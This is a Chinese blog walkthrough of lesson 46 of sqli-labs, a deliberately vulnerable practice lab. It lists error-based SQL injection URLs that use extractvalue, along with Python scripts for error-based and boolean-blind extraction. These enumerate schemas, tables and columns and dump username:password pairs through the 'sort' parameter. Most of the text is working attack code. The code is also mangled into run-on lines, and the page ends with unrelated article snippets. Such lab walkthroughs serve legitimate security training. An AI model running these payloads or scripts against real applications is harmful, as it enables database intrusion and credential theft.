sqli-labs-master第46关

embedded/2025/2/26 4:12:57/

目录

报错注入

直接注入

数据库

数据库中的表名

users表结构:

users表数据:

python脚本注入

直接注入

获取数据库

获取表名

获取表结构

获取数据

布尔盲注

获取数据库

获取表名

获取表结构

获取数据


报错注入

直接注入

数据库

当前数据库名:

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,(select database() limit 1,1))))

系统数据库名:

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,(select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata))))

长度限制,使用截取函数substr():

 http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata),1,32))))

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata),32,64))))

数据库中的表名

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,(select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema='security'))))

同理使用截取函数substr():

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema='security'),32,64))))

users表结构:

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(0x7e,column_name,0x7e) from information_schema.columns where table_schema='security' and table_name='users'),1,32))))

users表数据:

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32))))

http://sqli-labs:8013/Less-46/?sort=(extractvalue(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),32,64))))

python脚本注入

直接注入

获取数据库
import requests
import retarget_url = "http://sqli-labs:8013/Less-46/"def extract_database_names():database_names = []index = 0while True:payload = {"sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"}try:response = requests.get(target_url, params=payload, timeout=10)response.raise_for_status()match = re.search(r"XPATH syntax error: '~([^']+)", response.text)if match:db_name = match.group(1)database_names.append(db_name)print(f"成功提取数据库名: {db_name}")index += 1elif index == 0:print("找到数据库名,可能漏洞不存在或错误信息被隐藏")breakelse:print("已提取所有数据库名")breakexcept (requests.exceptions.Timeout, requests.exceptions.HTTPError, requests.exceptions.RequestException) as e:print(f"[-] 请求错误,索引为 {index}: {e}")return database_namesif __name__ == "__main__":all_database_names = extract_database_names()

获取表名
import requests
import retarget_url = "http://sqli-labs:8013/Less-46/"def extract_table_names(database_name):table_names = []index = 0while True:payload = {"sort": f"(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='{database_name}' limit {index},1))))"}try:response = requests.get(target_url, params=payload, timeout=10)response.raise_for_status()match = re.search(r"XPATH syntax error: '~([^']+)", response.text)if match:table_name = match.group(1)table_names.append(table_name)print(f"成功提取表名: {table_name}")index += 1elif index == 0:print("找到表名,可能漏洞不存在或错误信息被隐藏")breakelse:print("已提取所有表名")breakexcept (requests.exceptions.Timeout, requests.exceptions.HTTPError, requests.exceptions.RequestException) as e:print(f"[-] 请求错误,索引为 {index}: {e}")return table_namesif __name__ == "__main__":database_name = "security"  # 目标数据库名all_table_names = extract_table_names(database_name)

获取表结构
import requests
import retarget_url = "http://sqli-labs:8013/Less-46/"def extract_column_names(database_name, table_name):column_names = []index = 0while True:payload = {"sort": f"(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='{table_name}' and table_schema='{database_name}' limit {index},1))))"}try:response = requests.get(target_url, params=payload, timeout=10)response.raise_for_status()match = re.search(r"XPATH syntax error: '~([^']+)", response.text)if match:column_name = match.group(1)column_names.append(column_name)print(f"成功提取列名: {column_name}")index += 1elif index == 0:print("找到列名,可能漏洞不存在或错误信息被隐藏")breakelse:print("已提取所有列名")breakexcept (requests.exceptions.Timeout, requests.exceptions.HTTPError, requests.exceptions.RequestException) as e:print(f"[-] 请求错误,索引为 {index}: {e}")return column_namesif __name__ == "__main__":database_name = "security"  # 目标数据库名table_name = "users"       # 目标表名all_column_names = extract_column_names(database_name, table_name)

获取数据
import requests
import retarget_url="http://sqli-labs:8013/Less-46/"def extract_user_data(database_name, table_name, record_id):# 提取 username 和 password 的数据data={}# 获取 usernamepayload_username={"sort": f"(extractvalue(1,concat(0x7e,(select username from {table_name} where id={record_id} limit 0,1))))"}# 获取 passwordpayload_password={"sort": f"(extractvalue(1,concat(0x7e,(select password from {table_name} where id={record_id} limit 0,1))))"}try:response_username=requests.get(target_url, params=payload_username, timeout=10)response_username.raise_for_status()match_username=re.search(r"XPATH syntax error: '~([^']+)", response_username.text)response_password=requests.get(target_url, params=payload_password, timeout=10)response_password.raise_for_status()match_password=re.search(r"XPATH syntax error: '~([^']+)", response_password.text)if match_username and match_password:username=match_username.group(1)password=match_password.group(1)data={'username': username, 'password': password}print(f"{username}:{password}")except (requests.exceptions.Timeout, requests.exceptions.HTTPError, requests.exceptions.RequestException) as e:print(f"[-] 请求错误,id={record_id}: {e}")return dataif __name__ == "__main__":database_name="security"  # 目标数据库名table_name="users"  # 目标表名record_id=1  # 从 id=1 开始while True:print(f"正在提取 id={record_id} 的数据...")user_data=extract_user_data(database_name, table_name, record_id)if not user_data:  # 如果没有提取到数据,则跳出循环print("没有更多数据,提取结束。")breakrecord_id+=1  # 继续下一个 id

布尔盲注

获取数据库
import requests
from bs4 import BeautifulSoup# 获取页面中的用户名(用于判断SQL注入是否成功)
def get_username(resp):soup = BeautifulSoup(resp, 'html.parser')try:username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textexcept IndexError:username = ""return username# 向目标URL发送请求并返回响应
def send_request(url):try:resp = requests.get(url)return respexcept requests.RequestException as e:print(f"Request error: {e}")return None# 获取数据库名
def get_database_name():database_name = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://sqli-labs:8013/Less-46/?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "resp = send_request(url)if resp and 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breakdatabase_name += chr(mid)i += 1print(f"Database Name: {database_name}")if __name__ == '__main__':get_database_name()

获取表名
import requests
from bs4 import BeautifulSoup# 获取页面中的用户名(用于判断SQL注入是否成功)
def get_username(resp):soup = BeautifulSoup(resp, 'html.parser')try:username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textexcept IndexError:username = ""return username# 向目标URL发送请求并返回响应
def send_request(url):try:resp = requests.get(url)return respexcept requests.RequestException as e:print(f"Request error: {e}")return None# 获取表名
def get_table_names():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://sqli-labs:8013/Less-46/?sort=if(ascii(substr((select group_concat(table_name) from \information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "resp = send_request(url)if resp and 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(f"Tables: {tables}")if __name__ == '__main__':get_table_names()

获取表结构
import requests
from bs4 import BeautifulSoup# 获取页面中的用户名(用于判断SQL注入是否成功)
def get_username(resp):soup = BeautifulSoup(resp, 'html.parser')try:username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textexcept IndexError:username = ""return username# 向目标URL发送请求并返回响应
def send_request(url):try:resp = requests.get(url)return respexcept requests.RequestException as e:print(f"Request error: {e}")return None# 获取列名
def get_column_names():columns = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://sqli-labs:8013/Less-46/?sort=if(ascii(substr((select group_concat(column_name) from \information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "resp = send_request(url)if resp and 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breakcolumns += chr(mid)i += 1print(f"Columns in 'users': {columns}")if __name__ == '__main__':get_column_names()

获取数据
import requests
from bs4 import BeautifulSoup# 获取页面中的用户名(用于判断SQL注入是否成功)
def get_username(resp):soup = BeautifulSoup(resp, 'html.parser')try:username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textexcept IndexError:username = ""return username# 向目标URL发送请求并返回响应
def send_request(url):try:resp = requests.get(url)return respexcept requests.RequestException as e:print(f"Request error: {e}")return None# 获取数据(如用户名:密码)
def get_user_data():user_data = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://sqli-labs:8013/Less-46/?sort=if(ascii(substr((select group_concat(username,':',password) \from users),{i},1))>{mid},id,username) -- "resp = send_request(url)if resp and 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breakuser_data += chr(mid)i += 1print(f"User Data (username:password): {user_data}")if __name__ == '__main__':get_user_data()


http://www.ppmy.cn/embedded/167188.html

相关文章

web网络安全:SQL 注入攻击

SQL 注入攻击&#xff08;SQL Injection&#xff09;概述 SQL 注入&#xff08;SQL Injection&#xff09; 是Web应用程序中最常见的安全漏洞之一。攻击者通过在应用程序的输入字段中插入恶意SQL代码&#xff0c;能够操控数据库执行非预期操作&#xff0c;导致数据泄露、篡改甚…

当前就业形势下C++方向后端开发学习指南

文章目录 1. C后端开发的职业方向1.1 C的应用领域1.2 后端开发的职业选择 2. 当前就业形势分析2.1 C开发者的市场需求2.2 C开发者的薪资水平 3. 学习路线3.1 入门阶段&#xff1a;掌握基础知识3.2 进阶阶段&#xff1a;掌握后端开发的核心技术3.2.1 数据库与C3.2.2 网络编程 3.…

Windows 快速搭建C++开发环境,安装C++、CMake、QT、Visual Studio、Setup Factory

安装C 简介 Windows 版的 GCC 有三个选择&#xff1a; CygwinMinGWmingw-w64 Cygwin、MinGW 和 mingw-w64 都是在 Windows 操作系统上运行的工具集&#xff0c;用于在 Windows 环境下进行开发和编译。 Cygwin 是一个在 Windows 上运行的开源项目&#xff0c;旨在提供类Uni…

[特殊字符] 蓝桥杯 Java B 组 之位运算(异或性质、二进制操作)

Day 6&#xff1a;位运算&#xff08;异或性质、二进制操作&#xff09; &#x1f4d6; 一、位运算简介 位运算是计算机底层优化的重要手段&#xff0c;利用二进制操作可以大大提高运算速度。常见的位运算包括&#xff1a; 与&#xff08;&&#xff09;&#xff1a;a &am…

ios UICollectionView使用自定义UICollectionViewCell

和UITableView用法类似&#xff0c;UITableView主要是显示按行排列的数据&#xff0c;UICollectionView则用在显示多行多列的数据&#xff0c;今天我们继续来实现app下载页面的效果。 1.先自定义UICollectionViewCell&#xff0c;一个cell就相当于列表中的一项了。 记得勾上&a…

Web自动化之Selenium添加网站Cookies实现免登录

在使用Selenium进行Web自动化时&#xff0c;添加网站Cookies是实现免登录的一种高效方法。通过模拟浏览器行为&#xff0c;我们可以将已登录状态的Cookies存储起来&#xff0c;并在下次自动化测试或爬虫任务中直接加载这些Cookies&#xff0c;从而跳过登录步骤。 Cookies简介 …

关于 Grok-3 大语言模型的研究

摘要:本文深入研究埃隆・马斯克旗下 xAI 团队研发的大语言模型 Grok-3。Grok-3 依托强大的超级计算基础设施,采用独特训练数据策略与创新模型架构,在性能指标、功能特性及应用场景展现出显著优势,同时也引发技术争议与行业格局变动,对人工智能发展影响深远。 关键词:Grok…

百度百舸 DeepSeek 一体机发布,支持昆仑芯 P800 单机 8 卡满血版开箱即用

在私有云环境中成功部署 DeepSeek 满血版并实现性能调优&#xff0c;并不是一件容易的事情。选择合适的 GPU 配置、安装相应的环境、成功部署上线业务、加速推理任务加速、支撑多用户并发 …… 完成业务测试&#xff0c;成功融入生产业务中。 为了帮助企业快速实现 DeepSeek 服…